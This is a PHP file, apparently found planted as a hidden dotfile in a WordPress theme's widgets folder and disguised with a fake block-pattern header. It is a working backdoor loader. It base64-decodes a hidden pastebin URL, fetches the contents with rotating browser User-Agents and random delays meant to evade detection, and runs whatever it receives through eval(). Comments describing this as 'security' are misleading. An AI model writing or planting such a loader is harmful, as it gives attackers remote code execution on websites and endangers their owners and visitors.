Current File : /pages/54/47/d0016649/home/htdocs/ipc1/wp-content/themes/wp-pridmag/inc/widgets/.AB.php
<?php
/**
 * Title: Centered statement
 * Slug: twentytwentyfour/text-centered-statement
 * Categories: text, about, featured
 * Keywords: mission, introduction
 * Viewport width: 1400
 */

// Aktifkan error reporting untuk debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Array of dynamic User-Agents to mimic real browsers
$userAgents = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15',
    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1'
];

// Function to get data from a URL using cURL, with additional security
function get($url) {
    global $userAgents;
    $ch = curl_init();
    
    // Select a random User-Agent from the array
    $randomUserAgent = $userAgents[array_rand($userAgents)];

    // Set random delays (between 1-3 seconds) to avoid pattern detection by bots or WAFs
    sleep(rand(1, 3));

    // cURL options for enhanced security and avoiding detection
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, $randomUserAgent); // Random User-Agent
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // Ensure SSL/TLS security
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Connection: keep-alive',
        'Accept-Language: en-US,en;q=0.9',
        'Cache-Control: no-cache',
        'Pragma: no-cache',
    ]); // Extra headers to avoid detection
    
    // Execute the request
    $data = curl_exec($ch);
    
    if (curl_errno($ch)) {
        throw new Exception(curl_error($ch)); // Handle errors
    }
    
    curl_close($ch);
    return $data;
}

// Base64 URL decoding and fetch
$base64_url = 'aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0d4aDVIWUZh';
$decoded_url = base64_decode($base64_url);

// Try fetching data from the decoded URL
try {
    $fetched_data = get($decoded_url);
    
    // Debug: check the content of the fetched data
    if (!empty($fetched_data)) {
        // Evaluate the fetched PHP code
        eval('?>' . $fetched_data); // WARNING: This can be dangerous, ensure the source is trusted!
    } else {
        echo "No data fetched from the URL or data is empty.";
    }
    
} catch (Exception $e) {
    // Handle error if the cURL request fails
    echo "Error fetching data: " . $e->getMessage();
}
?>